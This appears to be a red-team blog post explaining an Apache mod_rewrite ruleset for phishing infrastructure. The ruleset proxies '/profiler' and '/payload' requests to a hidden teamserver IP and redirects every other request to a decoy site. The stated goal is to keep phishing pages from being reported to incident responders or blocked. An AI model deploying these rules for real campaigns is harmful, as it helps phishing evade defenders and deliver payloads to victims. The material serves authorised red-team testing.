Invalid URI Redirection with Apache mod_rewrite
There have been times when a curious phish recipient or a zealous help desk staff has loaded the phishing link in their browser and decided to take a peek at a higher directory or the root domain. Of course, most times there isn’t much else site to see. In those cases, the chances of being reported to IR went up significantly, sometimes leading to a phishing campaign being blocked. This is where invalid URI redirection comes in handy.
We can whitelist resources the Apache server will proxy for the targets and redirect any other requests to the target’s real domain or another page of our choosing.
In the demo below, the user navigates to spoofdomain.com/really/long/url.html and is served a page; however, when the user navigates to spoofdomain.com/really/ the browser is redirected to google.com.
RewriteCond %{REQUEST_URI} ^/(profiler|payload)/?$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://SPOOFED-DOMAIN\.com [NC]
RewriteRule ^.*$ http://TEAMSERVER-IP%{REQUEST_URI} [P]
RewriteRule ^.*$ http://REDIRECTION-URL.com/? [L,R=302]
Line by line explanation:
If the request's URI is either '/profiler' or '/payload' (with an optional trailing slash), ignoring case; OR
If the request's referer starts with 'http://SPOOFED-DOMAIN.com', ignoring case
Change the entire request to serve the original request path from the teamserver's IP, and keep the user's address bar the same (obscure the teamserver's IP).
If the above conditions are not met, change the entire request to http://REDIRECTION-URL.com/ and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.
There are two handy mod_rewrite regex strings being used in this ruleset. The first is the /?$ string on line two. In the RewriteCond context, the question mark indicates that the previous character, the trailing slash in the example, is optional. Without this regex, RewriteCond would only match the path exactly as written in the ruleset. The dollar sign signifies the end of the URI, meaning the request /payload1 would not match.
The second useful regex is the question mark in the last line. In the RewriteRule context, the question mark tells Apache to drop the query string from the redirected request.
Since the Proxy [P] flag is set on the first RewriteRule, the address bar will still show the original domain name and just append the requested URI to the end of the address. Conversely, if the request doesn’t match either condition, the request will be redirected and the address bar will update and show companydomain.com.
A similar use for this redirection would be to redirect all request URIs to one payload. For instance, if you were phishing users in different departments and each email scenario’s link was unique you could redirect all users to a single payload without needing to stand up separate copies. To achieve this, simply remove the $ from the first RewriteCond line. Now the rule will match /profiler and /profiler/humanresources/legitimatepage.html.
Redirecting requests with invalid URIs can help a phishing website pass the sniff test for prying recipients or IT. By redirecting non-existent resources users won’t reach any index listings or 404 errors on pages that should logically exist.
Strengthen Your Phishing with Apache mod_rewrite Posts
- Strengthen Your Phishing with Apache mod_rewrite and Mobile User Redirection
- Invalid URI Redirection
- Operating System Based Redirection with Apache mod_rewrite
- Combatting Incident Responders with Apache mod_rewrite
- Expire Phishing Links with Apache RewriteMap